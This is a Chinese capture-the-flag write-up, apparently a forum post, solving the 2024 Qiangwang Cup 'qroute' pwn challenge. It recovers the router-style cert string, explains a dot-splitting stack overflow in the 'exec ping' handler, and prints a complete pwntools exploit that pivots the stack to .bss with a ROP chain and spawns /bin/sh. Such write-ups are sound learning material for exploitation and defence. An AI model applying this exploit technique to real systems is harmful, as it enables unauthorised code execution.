2024 强网杯qroute详细解析
sn0w 发表于 广东 CTF 145浏览 · 2024-11-27 04:38

cert认证部分

这题的认证部分和2023年ciscn的shellwego很像 甚至更简单一些

两个回显一个Router# 一个Router(config)# 按照经验我们先是要进入Router(config)#状态的

main__Router_handleCommand

main__Router_cert

runtime_memequal

也可以通过rc4解出来

cert 4ceb539da109caf8eea7

成功之后会赋值

在输入configure就可以成功认证了

漏洞分析

main__Router_exec

这个位置 v20+=v35+1 就是漏洞所在,那个for循环是吧每个点后面的读入v39[v20+1+j]中,因为有一个strings_genSplit()是以'.'来划分的,因此我们就可以通过不断的增加单个的'.'去增加v20的长度 以达到溢出的效果就可以绕过v35的长度的检测实现溢出

我们直接

exec ping host .0x100+b'a'\0x100去测试一下

结果发现根本找不到 调试发现没有进入while循环部分

而是进入了红色这一块区域,关注到这里有个call net_LookupIP 猜测是去寻找ip了,刚好还有一个功能点set 是来设置dns也就是在main__Router_set

分析过程和main__Router_cert一样因此我们set设置后 再试试

payload=b'.'*0x200+b'a'*0x10+b' '+b'1.1.1.1'
set_dns(payload)
payload=b'.'*0x200+b'a'*0x10
exec_ping(payload)

就可以进入while循环那部分了

成功劫持程序流

利用漏洞

通过一次溢出劫持程序流,由于gadget和长度的原因打法受到挺大的限制

我们只有0x3f的长度去写rop 虽然有syscall 但是现有的gadget 不足于在这个长度构造read 因此我们要用程序本身有的syscall_read 通过动态调试发现

syscall_read中经过两次参数的转换

可知最开进入的

rcx->rdi>rdx

rbx->rcx>rsi

rax->rbx->rdi


因此我们找到可以控制的gadget就可以执行read把栈迁移到bss段
然后读入rop就可以拿到shell了
exp如下:

#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *


#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')

#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def dbg():
    gdb.attach(mx)

#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./qroute"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
#初始化完成---------------------------------------------------------\
def exec_ping(payload):
    rl("Router(config)# ")
    sl(b'exec ping host '+payload)
def set_dns(payload):
    rl("Router(config)# ")
    sl(b'set dns '+payload)
dbg()
rl("Router# ")
sl(b'cert 4ceb539da109caf8eea7')
rl("Router# ")
sl(b'configure')
#-------

pop_rax_rbp = 0x0000000000405368
pop_rbx = 0x0000000000461dc1
pop_rcx = 0x0000000000433347
bss = 0x006102B0+0x200
pop_rbp = 0x0000000000401030#: pop rbp ; ret
sys_read = 0x0048DB60 
leave_ret = 0x00000000004a721a
rop = p64(pop_rbp) + p64(bss)+ p64(pop_rcx) + p64(0x200) + p64(pop_rbx) + p64(bss) + p64(sys_read) + p64(leave_ret)[:7]

payload=b'.'*0x207+rop+b' '+b'1.1.1.1'
set_dns(payload)
payload=b'.'*0x207+rop
exec_ping(payload)
syscall = 0x004735A9 #mov  rdi, rbx;syscall
payload = p64(0) + p64(pop_rax_rbp) + p64(0x3b) + p64(0) + p64(pop_rbx) + p64(bss+0x100) + p64(syscall)
sl(payload.ljust(0x100,b"\x00")+b"/bin/sh\x00")
inter()

参考文章:
https://forum.butian.net/share/3897

0 条评论
某人
表情
可输入 255